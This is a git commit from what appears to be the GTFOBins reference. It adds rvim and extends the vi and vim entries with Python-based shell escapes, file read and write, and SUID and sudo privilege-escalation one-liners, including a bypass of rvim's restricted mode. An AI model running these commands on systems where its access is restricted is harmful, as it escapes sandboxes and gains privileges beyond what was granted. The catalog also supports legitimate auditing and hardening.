Add vi(m) commands (#39)

This commit is contained in:
Hugo DELVAL 2018-12-03 14:06:41 +01:00 committed by Emilio
parent 46fd726c5a
commit bd0cad0433
3 changed files with 22 additions and 0 deletions

18
_gtfobins/rvim.md Normal file
View File

@ -0,0 +1,18 @@
---
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
functions:
shell:
- code: rvim -c ':py import os;os.system("sh")'
file-write:
- code: |
rvim file_to_write
iDATA
^[
w
file-read:
- code: rvim file_to_read
suid:
- code: ./rvim -c ':py import os;os.system("sh")'
sudo:
- code: sudo rvim -c ':py import os;os.system("sh")'
---

View File

@ -6,6 +6,7 @@ functions:
vi
:set shell=/bin/sh
:shell
- code: vi -c ':py import os;os.system("sh")'
file-write:
- code: |
vi file_to_write
@ -18,4 +19,5 @@ functions:
- code: ./vi -c ':!/bin/sh -p'
sudo:
- code: sudo vi -c ':!/bin/sh'
- code: sudo vi -c ':py import os;os.system("sh")'
---

View File

@ -6,6 +6,7 @@ functions:
vim
:set shell=/bin/sh
:shell
- code: vim -c ':py import os;os.system("sh")'
file-write:
- code: |
vim file_to_write
@ -18,4 +19,5 @@ functions:
- code: ./vim -c ':!/bin/sh -p'
sudo:
- code: sudo vim -c ':!/bin/sh'
- code: sudo vim -c ':py import os;os.system("sh")'
---